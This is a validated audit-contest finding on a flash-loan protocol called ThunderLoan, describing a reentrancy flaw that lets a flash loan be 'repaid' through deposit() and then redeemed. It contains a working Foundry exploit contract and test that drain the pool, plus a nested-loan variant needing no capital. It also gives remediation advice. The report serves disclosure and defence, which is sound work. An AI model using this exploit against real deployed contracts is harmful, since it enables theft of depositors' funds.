Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Flashloan reentrancy attack can drain the protocol of all underlying ERC20 tokens

Summary

A reentrancy vulnerability in deposit enables a flash loaner to fool the protocol that the loan has been repaid. The attacker can steal all the protocol funds this way.

Vulnerability Details

Three critical functions and their implementations make this vulnerability possible.

  1. First, deposit() allows anyone to deposit tokens and receive AssetTokens in return.

  2. Second, redeem() allows for redeeming these AssetTokens to get the original tokens back, plus any interest accrued (this interest comes from flash loans)

  3. Third, flashloan() allows users to take out flash loans as long as they return
    the loan plus a fee in the same transaction. A flash loaner can loan any underlying amount of tokens from the protocol, as long
    as the loan is returned along with a fee of 0.3% by default.

One problem with the implementation of this is the way that the protocol
makes sure that the user has paid back the loaned ERC20 tokens, and the additional fee.
Simplified, the logic of the flashloan function goes like (let's assume WETH is loaned):

  1. Check the protocol WETH token balance (using token.balanceOf())

  2. Send WETH tokens to flash loan receiver

  3. Call the executeOperation function of the flash loan receiver

  4. Check the protocol WETH token balance, require that it is not less than
    the initial from step 1, plus a fee.

The assumption is that the loaner will have to return the tokens using the
repay() function or simply doing an ERC20 token transfer() back to the protocol.
However, since there are no reentrancy checks the flash loaner
can make a deposit with the flash loaned tokens instead (and also supply an extra amount for the required fee percentage).

This will have the effects that:

a) the flashloan balance-after check in step 4 will succed, and

b) the flash loaner will have received AssetTokens that can now be redeemed for the deposited tokens - tokens that the flash loaner just temporarily owned via the flash loan.

Outlining a basic such attack with some example numbers may look like the following:

  1. Attacker starts with 1 WETH.

  2. Assuming a flashloan fee of 0.3% the attacker decides to
    loan around 333 WETH from the protocol. This way the attacker will be
    able to cover the resulting fee
    of 0.003 * 333 WETH = 0.999 WETH.

  3. Attacker takes out the flash loan and now has 1 + 333 WETH = 334 WETH.

  4. Attacker deposits the 334 WETH and receives AssetTokens in return.

  5. The protocol checks that its balance is at least the original 333 WETH
    plus the fee of 1 WETH, which it is thanks to the 334 WETH deposit.

  6. The flashloan transaction has now succeeded, leaving the attacker with
    AssetTokens.

  7. Attacker redeems his asset tokens and gets the underlying 334 WETH.

Proof of Concept

The below test shows a POC of this.

The test uses the following IFlashLoanReceiver based contract:

import { console } from "forge-std/console.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FlashLoanExploiter is IFlashLoanReceiver {
address private _thunderLoanAddress;
constructor(address thunderLoan) {
_thunderLoanAddress = thunderLoan;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == _thunderLoanAddress, "Must be called by ThunderLoan");
require(IERC20(token).balanceOf(address(this)) >= amount + fee, "Need more initial balance to cover flashloan fees");
console.log("Flashloan - got %s of token: %s", amount, token);
// Fool the balance checks at the end of the flashloan() function in ThunderLoan
uint256 depositAmount = amount + fee;
IERC20(token).approve(_thunderLoanAddress, depositAmount);
ThunderLoan(_thunderLoanAddress).deposit(IERC20(token), depositAmount);
return true;
}
function withdraw(IERC20 token) external {
// The logic below is just to find out the maximum amount of asset tokens that
// we can reedem. We try to redeem all of our asset tokens, but if the protocol
// doesn't have underlying backing everything up we calculate how many asset tokens
// the protocol would be able redeem instead.
AssetToken assetToken = ThunderLoan(_thunderLoanAddress).getAssetFromToken(token);
uint256 allAssetTokens = assetToken.balanceOf(address(this));
uint256 maxRedeemableAssetTokens = _underlyingToAssetTokens(token, token.balanceOf(address(assetToken)));
uint256 amountToRedeem = allAssetTokens > maxRedeemableAssetTokens ? maxRedeemableAssetTokens : allAssetTokens;
console.log("withdraw: all our AT = %s", allAssetTokens);
console.log("withdraw: AT backed by underlying = %s", maxRedeemableAssetTokens);
console.log("withdraw: AT to try to redeem = %s", amountToRedeem);
// Do the actual redemption
ThunderLoan(_thunderLoanAddress).redeem(token, amountToRedeem);
}
function _underlyingToAssetTokens(IERC20 token, uint256 tokenAmount) private view returns (uint256 amountOfAssetToken) {
AssetToken assetToken = ThunderLoan(_thunderLoanAddress).getAssetFromToken(token);
uint256 exchangeRate = assetToken.getExchangeRate();
// The AssetToken <-> token conversion
// Same as in deposit() and the inverse of the one in redeem()
amountOfAssetToken = tokenAmount * assetToken.EXCHANGE_RATE_PRECISION() / exchangeRate;
}
}

The test itself below:

function testFlashLoanMustNotBeRepayableThroughDeposit() public setAllowedToken hasDeposits {
address assetTokenA = address(thunderLoan.getAssetFromToken(tokenA));
// Borrow as much as the protocol has
uint256 amountToBorrow = tokenA.balanceOf(address(assetTokenA));
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
console.log("TL total tokenA amount: %s", tokenA.balanceOf(address(assetTokenA)));
console.log("Amount to borrow: %s", amountToBorrow);
console.log("Calculated borrow fee: %s", calculatedFee);
FlashLoanExploiter expl = new FlashLoanExploiter(address(thunderLoan));
address explAddr = address(expl);
vm.startPrank(user);
// Some initial tokens to attacker to cover the flashloan borrow fees with
tokenA.mint(explAddr, calculatedFee);
// Logging of token balances before the attack
uint256 protocolBalanceBefore= tokenA.balanceOf(assetTokenA);
uint256 attackerBalanceBefore = tokenA.balanceOf(explAddr);
console.log("Balances before flashloan attack");
console.log(" TokenA balance for protocol: %s", protocolBalanceBefore);
console.log(" TokenA balance for attacker: %s", attackerBalanceBefore);
// EXPLOIT CODE
thunderLoan.flashloan(address(expl), tokenA, amountToBorrow, "");
console.log("Mid status: TokenA balance for AssetToken: %s", tokenA.balanceOf(assetTokenA));
expl.withdraw(tokenA);
// END OF EXPLOIT
vm.stopPrank();
// Print final balances and differences
uint256 protocolBalanceAfter = tokenA.balanceOf(assetTokenA);
uint256 attackerBalanceAfter = tokenA.balanceOf(explAddr);
console.log("");
console.log("Balances after flashloan attack");
console.log(" TokenA balance for protocol: %s", protocolBalanceAfter);
console.log(" TokenA balance for attacker: %s", attackerBalanceAfter);
console.log("Attacker ROI: %s%%", (attackerBalanceAfter - attackerBalanceBefore) * 100 / attackerBalanceBefore);
console.log("Attacker capital multiplied: %sX", (attackerBalanceAfter) / attackerBalanceBefore);
// A flashloan must never decrease protocol's token balance.
assert(protocolBalanceAfter >= protocolBalanceBefore);
}

In this case, the attacker roughly 333X's his money with one flashloan.
Importantly, an attacker can make a series of flashloans using this approach until
the protocol is completedly drained, 333-folding his capital for every step.

Outline of an even better attack possibility

Although not shown above in the test for simplicity, it is even possible
to make a flashloan within a flashloan in which case no starting capital
would be needed at all (except for gas costs).

  1. Attacker takes out a flash loan of 10 WETH. He will need to repay
    that and the fee, a total of 10.03 WETH

  2. During the flash loan, the attacker takes out a second loan of 10 ETH. He will
    need to repay 10.03 for that one too. This is possible because there are no
    reentrancy checks, and the variable that tracks whether a flash loan
    is ongoing, s_currentlyFlashLoaning, is only set - never verified.

  3. Attacker now controls 20 WETH.

  4. Attacker uses the deposit hack to pay back the first loan of 10.03 owed.

  5. The second flash loan has been repaid and completed. Program flow is now
    back inside the executeOperation of the first flash loan.

  6. Attacker now has 9.97 WETH left, but also some asset tokens that he can redeem.

  7. Attacker redeems his asset tokens and gets 10.03 WETH back.

  8. Now the attacker once again controls 20 WETH, with a remaining debt
    of 10.03 that needs to be paid back for the first flash loan in order
    for the transaction to complete successfully.

  9. Attacker makes a deposit of 10.03 WETH to fool ThunderLoan's check for the first flash loan

  10. The transaction containing a flashloan-within-a-flashloan is completed successfully.

  11. Attacker redeems his final 10.03 WETH.

End result: an attacker starting with only gas money now has 20 WETH.
The amounts used are just for illustration, the approach could any amount
including one that drains all the underlying assets of protocol.

Impact

High impact - all protocol funds extremely likely to be lost.

Tools used

Manual review

Recommendations:

There are a number of checks that in themselves could completely or partially help against this attack.
Consider implementing all of the below:

  • Add nonReentrant modifier on all external functions in ThunderLoan.sol.
    Use ReentrancyGuardUpgradeable from OpenZeppelin.

  • Check the s_currentlyFlashLoaning mapping at the top of flashloan(), require it to not be set.
    Also note that in a double flash loan like described above, the flag would be unset by the
    end of the inner flashloan, while the outer is still executing. This could potentially
    affect third party code and enable some read-only reentrancy issues even if reentrancy or
    repayment mechanisms were improved.

  • Improve mechanism of loan repayment. A better design would be to have
    ThunderLoan actively pull the payment from the flash loaner using ERC20 transfer() after
    the flashloan receiver has finished executing.
    The flash loaner would be responsible for setting allowance for the token.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.